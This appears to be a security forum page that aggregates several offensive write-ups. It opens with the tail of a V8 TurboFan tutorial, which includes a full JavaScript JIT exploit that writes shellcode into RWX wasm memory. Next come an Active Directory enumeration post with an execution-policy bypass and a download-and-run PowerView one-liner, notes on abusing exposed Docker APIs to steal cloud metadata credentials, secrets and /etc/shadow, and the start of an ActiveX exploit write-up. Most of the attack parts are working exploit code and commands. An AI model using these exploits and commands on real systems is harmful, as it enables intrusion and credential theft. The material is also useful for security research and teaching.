FIXED_ARRAY_TYPE 0x00002fac7911ed20 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911ed28 0x00002fac7911ecd9 SHARED_FUNCTION_INFO_TYPE 0x00002fac7911ed30 0x00002fac79101741 NATIVE_CONTEXT_TYPE 0x00002fac7911ed38 0x00000d1caca00691 FEEDBACK_CELL_TYPE 0x00002fac7911ed40 0x00002dc28a002001 CODE_TYPE ----- [ TRANSITION_ARRAY_TYPE : 0x30 ] ----- 0x00002fac7911ed48 0x00000cdfc0080b69 MAP_TYPE 0x00002fac7911ed50 0x0000000400000000 0x00002fac7911ed58 0x0000000000000000 function 1() { [native code] } d8> %DumpObjects(0x00002fac7911ecd9,11) ----- [ SHARED_FUNCTION_INFO_TYPE : 0x38 ] ----- 0x00002fac7911ecd8 0x00000cdfc0080989 MAP_TYPE 0x00002fac7911ece0 0x00002fac7911ecb1 WASM_EXPORTED_FUNCTION_DATA_TYPE 0x00002fac7911ece8 0x00000cdfc00842c1 ONE_BYTE_INTERNALIZED_STRING_TYPE 0x00002fac7911ecf0 0x00000cdfc0082ad1 FEEDBACK_METADATA_TYPE 0x00002fac7911ecf8 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911ed00 0x000000000000004f 0x00002fac7911ed08 0x000000000000ff00 ----- [ JS_FUNCTION_TYPE : 0x38 ] ----- 0x00002fac7911ed10 0x00001024ebc84191 MAP_TYPE 0x00002fac7911ed18 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911ed20 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911ed28 0x00002fac7911ecd9 SHARED_FUNCTION_INFO_TYPE 52417812098265 d8> %DumpObjects(0x00002fac7911ecb1,11) ----- [ WASM_EXPORTED_FUNCTION_DATA_TYPE : 0x28 ] ----- 0x00002fac7911ecb0 0x00000cdfc00857a9 MAP_TYPE 0x00002fac7911ecb8 0x00002dc28a002001 CODE_TYPE 0x00002fac7911ecc0 0x00002fac7911eb29 WASM_INSTANCE_TYPE 0x00002fac7911ecc8 0x0000000000000000 0x00002fac7911ecd0 0x0000000100000000 ----- [ SHARED_FUNCTION_INFO_TYPE : 0x38 ] ----- 0x00002fac7911ecd8 0x00000cdfc0080989 MAP_TYPE 0x00002fac7911ece0 0x00002fac7911ecb1 WASM_EXPORTED_FUNCTION_DATA_TYPE 0x00002fac7911ece8 0x00000cdfc00842c1 ONE_BYTE_INTERNALIZED_STRING_TYPE 0x00002fac7911ecf0 0x00000cdfc0082ad1 FEEDBACK_METADATA_TYPE 0x00002fac7911ecf8 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911ed00 0x000000000000004f 52417812098225 d8> %DumpObjects(0x00002fac7911eb29,41) ----- [ WASM_INSTANCE_TYPE : 0x118 : REFERENCES RWX MEMORY] ----- 0x00002fac7911eb28 0x00001024ebc89411 MAP_TYPE 0x00002fac7911eb30 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911eb38 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911eb40 0x00002073d820bac1 WASM_MODULE_TYPE 0x00002fac7911eb48 0x00002073d820bcf1 JS_OBJECT_TYPE 0x00002fac7911eb50 0x00002fac79101741 NATIVE_CONTEXT_TYPE 0x00002fac7911eb58 0x00002fac7911ec59 WASM_MEMORY_TYPE 0x00002fac7911eb60 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb68 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb70 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb78 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb80 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb88 0x00002073d820bc79 FIXED_ARRAY_TYPE 0x00002fac7911eb90 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb98 0x00002073d820bc69 FOREIGN_TYPE 0x00002fac7911eba0 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eba8 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911ebb0 0x00000cdfc00801d1 ODDBALL_TYPE 0x00002fac7911ebb8 0x00002dc289f94d21 CODE_TYPE 0x00002fac7911ebc0 0x0000000000000000 0x00002fac7911ebc8 0x00007f9f9cf60000 0x00002fac7911ebd0 0x0000000000010000 0x00002fac7911ebd8 0x000000000000ffff 0x00002fac7911ebe0 0x0000556b3a3e0c00 0x00002fac7911ebe8 0x0000556b3a3ea630 0x00002fac7911ebf0 0x0000556b3a3ea620 0x00002fac7911ebf8 0x0000556b3a47c210 0x00002fac7911ec00 0x0000000000000000 0x00002fac7911ec08 0x0000556b3a47c230 0x00002fac7911ec10 0x0000000000000000 0x00002fac7911ec18 0x0000000000000000 0x00002fac7911ec20 0x0000087e7c50a000 JumpTableStart [RWX] 0x00002fac7911ec28 0x0000556b3a47c250 0x00002fac7911ec30 0x0000556b3a47afa0 0x00002fac7911ec38 0x0000556b3a47afc0 ----- [ TUPLE2_TYPE : 0x18 ] ----- 0x00002fac7911ec40 0x00000cdfc00827c9 MAP_TYPE 0x00002fac7911ec48 0x00002fac7911eb29 WASM_INSTANCE_TYPE 0x00002fac7911ec50 0x00002073d820b849 JS_FUNCTION_TYPE ----- [ WASM_MEMORY_TYPE : 0x30 ] ----- 0x00002fac7911ec58 0x00001024ebc89e11 MAP_TYPE 0x00002fac7911ec60 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911ec68 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 52417812097833 That gives us the following offsets: let WasmOffsets = { shared_function_info : 3, wasm_exported_function_data : 1, wasm_instance : 2, jump_table_start : 31 }; Now simply find the JumpTableStart pointer and modify your crafted ArrayBuffer to overwrite this memory and copy your shellcode in it. Of course, you may want to backup the memory before so as to restore it after! Full exploit The full exploit looks like this: // spawn gnome calculator let shellcode = [0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x59, 0x49, 0x81, 0xe9, 0x05, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x01, 0x00, 0x00, 0xbf, 0x6b, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xb1, 0x61, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x20, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0xb8, 0x51, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x49, 0x8d, 0xb9, 0x62, 0x00, 0x00, 0x00, 0xb8, 0xa1, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xb9, 0x64, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x57, 0x48, 0x89, 0xe6, 0x49, 0x8d, 0x91, 0x7e, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x52, 0x48, 0x89, 0xe2, 0x0f, 0x05, 0xeb, 0xfe, 0x2e, 0x2e, 0x00, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00]; let WasmOffsets = { shared_function_info : 3, wasm_exported_function_data : 1, wasm_instance : 2, jump_table_start : 31 }; let log = this.print; let ab = new ArrayBuffer(8); let fv = new Float64Array(ab); let dv = new BigUint64Array(ab); let f2i = (f) => { fv[0] = f; return dv[0]; } let i2f = (i) => { dv[0] = BigInt(i); return fv[0]; } let tagFloat = (f) => { fv[0] = f; dv[0] += 1n; return fv[0]; } let hexprintablei = (i) => { return (i).toString(16).padStart(16,"0"); } let assert = (l,r,m) => { if (l != r) { log(hexprintablei(l) + " != " + hexprintablei(r)); log(m); throw "failed assert"; } return true; } let NEW_LENGTHSMI = 0x64; let NEW_LENGTH64 = 0x0000006400000000; let AB_LENGTH = 0x100; let MARK1SMI = 0x13; let MARK2SMI = 0x37; let MARK1 = 0x0000001300000000; let MARK2 = 0x0000003700000000; let ARRAYBUFFER_SIZE = 0x40; let PTR_SIZE = 8; let opt_me = (x) => { let MAGIC = 1.1; // don't move out of scope let arr = new Array(MAGIC,MAGIC,MAGIC); arr2 = Array.of(1.2); // allows to put the JSArray *before* the fixed arrays evil_ab = new ArrayBuffer(AB_LENGTH); packed_elements_array = Array.of(MARK1SMI,Math,MARK2SMI, get_pwnd); let y = (x == "foo") ? 4503599627370495 : 4503599627370493; let z = 2 + y + y ; // 2 + 4503599627370495 * 2 = 9007199254740992 z = z + 1 + 1 + 1; z = z - (4503599627370495*2); // may trigger the OOB R/W let leak = arr[z]; arr[z] = i2f(NEW_LENGTH64); // try to corrupt arr2.length // when leak == MAGIC, we are ready to exploit if (leak != MAGIC) { // [1] we should have corrupted arr2.length, we want to check it assert(f2i(leak), 0x0000000100000000, "bad layout for jsarray length corruption"); assert(arr2.length, NEW_LENGTHSMI); log("[+] corrupted JSArray's length"); // [2] now read evil_ab ArrayBuffer structure to prepare our fake array buffer let ab_len_idx = arr2.indexOf(i2f(AB_LENGTH)); // check if the memory layout is consistent assert(ab_len_idx != -1, true, "could not find array buffer"); assert(Number(f2i(arr2[ab_len_idx + 1])) & 1, false); assert(Number(f2i(arr2[ab_len_idx + 1])) > 0x10000, true); assert(f2i(arr2[ab_len_idx + 2]), 2); let ibackingstore_ptr = f2i(arr2[ab_len_idx + 1]); let fbackingstore_ptr = arr2[ab_len_idx + 1]; // copy the array buffer so as to prepare a good looking fake array buffer let view = new BigUint64Array(evil_ab); for (let i = 0; i < ARRAYBUFFER_SIZE / PTR_SIZE; ++i) { view[i] = f2i(arr2[ab_len_idx-3+i]); } log("[+] Found backingstore pointer : " + hexprintablei(ibackingstore_ptr)); // [3] corrupt packed_elements_array to replace the pointer to the Math object // by a pointer to our fake object located in our evil_ab array buffer let magic_mark_idx = arr2.indexOf(i2f(MARK1)); assert(magic_mark_idx != -1, true, "could not find object pointer mark"); assert(f2i(arr2[magic_mark_idx+2]) == MARK2, true); arr2[magic_mark_idx+1] = tagFloat(fbackingstore_ptr); // [4] leak wasm function pointer let ftagged_wasm_func_ptr = arr2[magic_mark_idx+3]; // we want to read get_pwnd log("[+] wasm function pointer at 0x" + hexprintablei(f2i(ftagged_wasm_func_ptr))); view[4] = f2i(ftagged_wasm_func_ptr)-1n; // [5] use RW primitive to find WASM RWX memory let rw_view = new BigUint64Array(packed_elements_array[1]); let shared_function_info = rw_view[WasmOffsets.shared_function_info]; view[4] = shared_function_info - 1n; // detag pointer rw_view = new BigUint64Array(packed_elements_array[1]); let wasm_exported_function_data = rw_view[WasmOffsets.wasm_exported_function_data]; view[4] = wasm_exported_function_data - 1n; // detag rw_view = new BigUint64Array(packed_elements_array[1]); let wasm_instance = rw_view[WasmOffsets.wasm_instance]; view[4] = wasm_instance - 1n; // detag rw_view = new BigUint64Array(packed_elements_array[1]); let jump_table_start = rw_view[WasmOffsets.jump_table_start]; // detag assert(jump_table_start > 0x10000n, true); assert(jump_table_start & 0xfffn, 0n); // should look like an aligned pointer log("[+] found RWX memory at 0x" + jump_table_start.toString(16)); view[4] = jump_table_start; rw_view = new Uint8Array(packed_elements_array[1]); // [6] write shellcode in RWX memory for (let i = 0; i < shellcode.length; ++i) { rw_view[i] = shellcode[i]; } // [7] PWND! let res = get_pwnd(); print(res); } return leak; } (() => { assert(this.alert, undefined); // only v8 is supported assert(this.version().includes("7.3.0"), true); // only tested on version 7.3.0 // exploit is the same for both windows and linux, only shellcodes have to be changed // architecture is expected to be 64 bits })() // needed for RWX memory load("wasm.js"); opt_me(""); for (var i = 0; i < 0x10000; ++i) // trigger optimization opt_me(""); let res = opt_me("foo"); Conclusion I hope you enjoyed this article and thank you very much for reading If you have any feedback or questions, just contact me on my twitter @__x86. Special thanks to my friends 0vercl0k and yrp604 for their review! Kudos to the awesome v8 team. You guys are doing amazing work! Recommended reading V8's TurboFan documentation Benedikt Meurer's talks Mathias Bynen's website This article on ponyfoo Vyacheslav Egorov's website Samuel Groß's 2018 BlackHat talk on attacking client side JIT compilers Andrea Biondo's write up on the Math.expm1 TurboFan bug Jay Bosamiya's write up on the Math.expm1 TurboFan bug Sursa: https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/
    1 point
  13. Active Directory Penetration Dojo – AD Environment Enumeration -1 Hi everyone, we’ve discussed basics of Active Directory and different servers in AD in previous blog posts of this series. If you’ve not yet read that, please find that here in Part 1 and Part 2. We’ve also understood trust relationships in AD environment. You can read post on trust relationships here. Let’s have a look at the current post in which we’ll discuss how to enumerate an active directory domain and map various entities, trusts, relationships and privileges in it. Few things to understand: LDAP is used by Active directory as its access protocol. So when you enumerate information from AD, your query is sent to it as an LDAP query. AD relies on DNS as its locator service that enables the clients to locate domain controllers and other hosts in the domain through DNS queries. AD Database is NTDS.DIT AD supports several Naming conventions like: User Principal name: winsaafman@scriptdotsh.local DN (Distinguished Names) LDAP names: CN = Common name OU = Organisational Unit DC = Domain For example- CN=winsaafman,DC=corp,DC=scriptdotsh,DC=local Any standard domain user can enumerate active directory information. There is no need for administrative rights (not even local administrator). We’ll be using powershell a lot in the enumeration stage. In powershell, you get warning on running the scripts because of the execution policy setting policy. Execution Policy is just a way to stop users from accidentally executing scripts. Not really a security control, because it has builtin bypass parameters. (powershell -ExecutionPolicy bypass) as you can see in screenshot below: If you don’t want to save powershell module on disk and just load directly into memory and run some of its command, you can try it like this: powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1’);Get-NetDomain” 1 powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1’);Get-NetDomain” Beside the -exec Bypass, there are several other ways to evade powershell blocking which is already there on the internet. So I won’t be talking much about that. We can use the ADSI, .NET classes, DSquery, Powershell frameworks, CMD, WMI, AD Module etc. for enumerating active directory. In current blogpost, we’ll enumerate the domain using the Active Directory powershell module and powerview. In the discovery phase, we have to analyse many things about the client environment and locate their PII, network architecture, devices, critical business applications etc. Then finding threats to those critical assets. And looking for misconfigurations, vulnerabilities and weaknesses. Articol complet: https://scriptdotsh.com/index.php/2019/01/01/active-directory-penetration-dojo-ad-environment-enumeration-1/
    1 point
  14. Abusing Docker API | Socket CG / 8:32 AM Notes on abusing open Docker sockets This wont cover breaking out of docker containers Ports: usually 2375 & 2376 but can be anything Refs: https://blog.sourcerer.io/a-crash-course-on-docker-learn-to-swim-with-the-big-fish-6ff25e8958b0 https://www.slideshare.net/BorgHan/hacking-docker-the-easy-way https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html https://blog.secureideas.com/2018/08/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-2.html https://infoslack.com/devops/exploring-docker-remote-api https://www.blackhat.com/docs/us-17/thursday/us-17-Cherny-Well-That-Escalated-Quickly-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence_wp.pdf https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/ https://cert.litnet.lt/2016/11/owning-system-through-an-exposed-docker-engine/ https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124 https://www.exploit-db.com/exploits/42356 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/docker_daemon_tcp.rb http://blog.nibblesec.org/2014/09/abusing-dockers-remote-apis.html https://www.prodefence.org/knock-knock-docker-will-you-let-me-in-open-api-abuse-in-docker-containers/ https://blog.ropnop.com/plundering-docker-images/ Enable docker socket (Create practice locations) https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd Having the docker API | socket exposed is essentially granting root to any of the containers on the system The daemon listens on unix:///var/run/docker.sock but you can bind Docker to another host/port or a Unix socket. The docker socket is the socket the Docker daemon listens on by default and it can be used to communicate with the daemon from within a container, or if configured, outside the container against the host running docker. All the docker socket magic is happening via the docker API. For example if we wanted to spin up an nginx container we'd do the below: Create a nginx container The following command uses curl to send the {“Image”:”nginx”} payload to the /containers/create endpoint of the Docker daemon through the unix socket. This will create a container based on Nginx and return its ID. $ curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create {"Id":"fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65","Warnings":null} Start the container $ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65/start As mentioned above you can also have the docker socket listen on a TCP port You can validate it's docker by hitting it with a version request $ curl -s http://open.docker.socket:2375/version | jq { "Version": "1.13.1", "ApiVersion": "1.26", "MinAPIVersion": "1.12", "GitCommit": "07f3374/1.13.1", "GoVersion": "go1.9.4", "Os": "linux", "Arch": "amd64", "KernelVersion": "3.10.0-514.26.2.el7.x86_64", "BuildTime": "2018-12-07T16:13:51.683697055+00:00", "PkgVersion": "docker-1.13.1-88.git07f3374.el7.centos.x86_64" } or with the docker client docker -H open.docker.socket:2375 version Server: Engine: Version: 1.13.1 API version: 1.26 (minimum version 1.12) Go version: go1.9.4 Git commit: 07f3374/1.13.1 Built: Fri Dec 7 16:13:51 2018 OS/Arch: linux/amd64 Experimental: false This is basically a shell into the container Get a list of running containers with the ps command docker -H open.docker.socket:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 72cd30d28e5c gogs/gogs "/app/gogs/docker/st…" 5 days ago Up 5 days 0.0.0.0:3000->3000/tcp, 0.0.0.0:10022->22/tcp gogs b522a9034b30 jdk1.8 "/bin/bash" 5 days ago Up 5 days myjdk8 0f5947860c17 centos/mysql-57-centos7 "container-entrypoin…" 8 days ago Up 8 days 0.0.0.0:3306->3306/tcp mysql 3965c004c7a7 192.168.32.134:5000/tensquare_config:1.0-SNAPSHOT "java -jar /app.jar" 8 days ago Up 8 days 0.0.0.0:12000->12000/tcp config 3f466b754971 42cb59080921 "/bin/bash" 8 days ago Up 8 days jdk8 6499013fdc2d registry "/entrypoint.sh /etc…" 8 days ago Up 8 days 0.0.0.0:5000->5000/tcp registry Exec into one of the containers docker -H open.docker.socket:2375 exec -it mysql /bin/bash bash-4.2$ whoami mysql Other commands Are there some stopped containers? docker -H open.docker.socket:2375 ps -a What are the images pulled on the host machine? docker -H open.docker.socket:2375 images I've frequently not been able to get the docker client to work well when it comes to the exec command but you can still code exec in the container with the API. The example below is using curl to interact with the API over https (if enabled). to create and exec job, set up the variable to receive the out put and then start the exec so you can get the output. Using curl to hit the API Sometimes you'll see 2376 up for the TLS endpoint. I haven't been able to connect to it with the docker client but you can with curl no problem to hit the docker API. Docker socket to metadata URL https://docs.docker.com/engine/api/v1.37/#operation/ContainerExec Below is an example of hitting the internal AWS metadata URL and getting the output list containers: curl --insecure https://tls-opendocker.socker:2376/containers/json | jq [ { "Id": "f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668", "Names": [ "/docker_snip_1" ], "Image": "dotnetify", "ImageID": "sha256:23b66a91f928ea6a49bce1be4eabedbafd41c5dfa4e76c1a94062590e54550ca", "Command": "cmd /S /C 'dotnet netify-temp.dll'", "Created": 1541018555, "Ports": [ { "IP": "0.0.0.0", "PrivatePort": 443, "PublicPort": 50278, ---SNIP--- List processes in a container: curl --insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq { "Processes": [ [ "smss.exe", "7868", "00:00:00.062", "225.3kB" ], [ "csrss.exe", "10980", "00:00:00.859", "421.9kB" ], [ "wininit.exe", "10536", "00:00:00.078", "606.2kB" ], [ "services.exe", "10768", "00:00:00.687", "1.208MB" ], [ "lsass.exe", "10416", "00:00:36.000", "4.325MB" ], ---SNIP--- Set up and exec job to hit the metadata URL: curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}' {"Id":"4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55"} Get the output: curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}' { "Code" : "Success", "LastUpdated" : "2019-01-29T20:12:58Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIATRSNIP", "SecretAccessKey" : "CD6/h/egYHmYUSNIPSNIPSNIPSNIPSNIP", "Token" : "FQoGZXIvYXdzEB4aDCQSM0rRV/SNIPSNIPSNIP", "Expiration" : "2019-01-30T02:43:34Z" } Docker secrets relevant reading https://docs.docker.com/engine/swarm/secrets/ list secrets (no secrets/swarm not set up) curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq { "message": "This node is not a swarm manager. Use \"docker swarm init\" or \"docker swarm join\" to connect this node to swarm and try again."} list secrets (they exist) $ curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq [ { "ID": "9h3useaicj3tr465ejg2koud5", "Version": { "Index": 21 }, "CreatedAt": "2018-07-06T10:19:50.677702428Z", "UpdatedAt": "2018-07-06T10:19:50.677702428Z", "Spec": { "Name": "registry-key.key", "Labels": {} }}, Check what is mounted curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}' {"Id":"7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa"} Get the output by starting the exec curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}' overlay on / type overlay proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755) devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666) sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime) ---SNIP--- mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime) /dev/sda2 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered) /dev/sda2 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered) /dev/sda2 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered) shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k) /dev/sda2 on /var/lib/registry type ext4 (rw,relatime,errors=remount-ro,data=ordered) tmpfs on /run/secrets/registry-cert.crt type tmpfs (ro,relatime) tmpfs on /run/secrets/htpasswd type tmpfs (ro,relatime) tmpfs on /run/secrets/registry-key.key type tmpfs (ro,relatime) ---SNIP--- Cat the mounted secret curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}' {"Id":"3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30"} curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30/start -d '{}' -----BEGIN RSA PRIVATE KEY----- MIIJKAIBAAKCAgEA1A/ptrezfxUlupPgKd/kAki4UlKSfMGVjD6GnJyqS0ySHiz0 ---SNIP--- If you have secrets, it's also worth checking out services in case they are adding secrets via environment variables curl -s --insecure https://tls-opendocker.socket:2376/services | jq [{ "ID": "amxjs243dzmlc8vgukxdsx57y", "Version": { "Index": 6417 }, "CreatedAt": "2018-04-16T19:51:20.489851317Z", "UpdatedAt": "2018-12-07T13:44:36.6869673Z", "Spec": { "Name": "app_REMOVED", "Labels": {}, "TaskTemplate": { "ContainerSpec": { "Image": "dpage/pgadmin4:latest@sha256:5b8631d35db5514d173ad2051e6fc6761b4be6c666105f968894509c5255c739", "Env": [ "PGADMIN_DEFAULT_EMAIL=REMOVED@gmail.com", "PGADMIN_DEFAULT_PASSWORD=REMOVED" ], "Isolation": "default" Creating a container that has mounted the host file system curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' {"Id":"0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192","Warnings":null} curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test Read something from the host curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}' {"Id":"140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6"} curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}' root:$6$THEPASSWORDHASHWUZHERE:17717:0:99999:7::: daemon:*:17001:0:99999:7::: bin:*:17001:0:99999:7::: sys:*:17001:0:99999:7::: sync:*:17001:0:99999:7::: games:*:17001:0:99999:7::: Cleanup Stop the container curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop delete stopped containers curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune Sursa: https://carnal0wnage.attackresearch.com/2019/02/abusing-docker-api-socket.html
    1 point
  15. ActiveX Exploitation in 2019 :: Instantiation is not Scripting Feb 1, 2019 But didn’t Microsoft kill ActiveX? I hear you asking. Well they almost did. As most security practitioners know, ActiveX has had a long history of exploitation and its fair share of remote vulnerabilities. Microsoft themselves have had several ActiveX vulnerabilities disclosed along with many popular third party vendors. Microsoft released an update where they have essentially killed any scripting for ActiveX objects from a remote context. However, they did leave the ability for ActiveX controls to be instantiated. In some cases, this can still allow for remote code execution from parsing vulnerabilities. I believe was done for backwards compatibility reasons, for example, situations such as the Microsoft Management Console (MMC) which requires trusted ActiveX controls to be instantiated for system management. TL;DR In this post, I discuss the mitigations surrounding ActiveX and how they don’t prevent all attacks. Then I discuss the discovery and exploitation of CVE-2018-19418 and just the discovery of CVE-2018-19447 which are client-side vulnerabilities that allows for remote code execution. The only interaction that is required is that the victim opens a malicious office document. Introduction The Foxit website explains what Foxit Reader SDK ActiveX is, quickly summing it up as: PDF SDK ActiveX is ideal for product managers and developers who want an easy to use and a customizable visual component that they can simply drag and drop into their application to quickly create a PDF Viewing application without requiring any PDF expertise. There are two versions, the Standard and Professional versions. They differ in that the professional version allows you to run arbitrary JavaScript and has access to much more PDF features. These products are not to be confused with Foxit Reader’s own ActiveX control, which ships with its main product, Foxit Reader. Its own ActiveX control located at C:\Program Files\Foxit Software\Foxit Reader\plugins\FoxitReaderBrowserAx.dll will proxy off the parsing of a PDF to its regular binary, C:\Program Files\Foxit Software\Foxit Reader\FoxitReader.exe. So if there are any parsing vulnerabilities in this code, it can be reached via the DLL as well. Adobe do a similar thing, the only difference being is that it is ran in a sandbox. The other noticeable difference is that Adobe don’t have standalone ActiveX products which avoids the need for two different parsers. This avoids situations where a bug maybe patched in their core product, yet missed in other PDF parsers that they offer. The Target The targets I tested were FoxitPDFSDKActiveX540_Std.msi (eba1a06230cc1a39ccb1fb7f04448a0d78859b60) and FoxitPDFSDKActiveX540_Pro.msi (243a9099c9788dfcf38817f20208e5289b530f56) which were the latest at the time. However, before auditing the control, we need to make sure that we can even instantiate it without any popups or issues. As it turns out, both controls are Safe for Initialization and do not have the kill bit set. Loaded File: C:\Program Files\Foxit Software\Foxit PDF SDK ActiveX Std\bin\FoxitPDFSDK_AX_Std.ocx Name: FoxitPDFSDKStdLib Lib GUID: {5FE9D64A-3BC2-43CB-AA47-F0B0C510EBEA} Version: 5.0 Lib Classes: 7 Class FoxitPDFSDK GUID: {0F6C092B-6E4C-4976-B386-27A9FD9E96A1} Number of Interfaces: 1 Default Interface: _DFoxitPDFSDK RegKey Safe for Script: True RegKey Safe for Init: True KillBitSet: False So even though the settings allow us to script it, Microsoft prevents us from doing so with the latest updates (I’m not sure exactly when this was introduced). That’s good, because I audited several of the methods such as OpenFileAsync and found many trivially exploitable stack buffer overflows. I didn’t report them since there doesn’t exist a remote vector anymore. Initially I wanted a vulnerability that would affect both the standard and professional versions. Since both products share code, it wasn’t too hard to find what I was looking for. However, as mentioned previously, the standard version does not allow 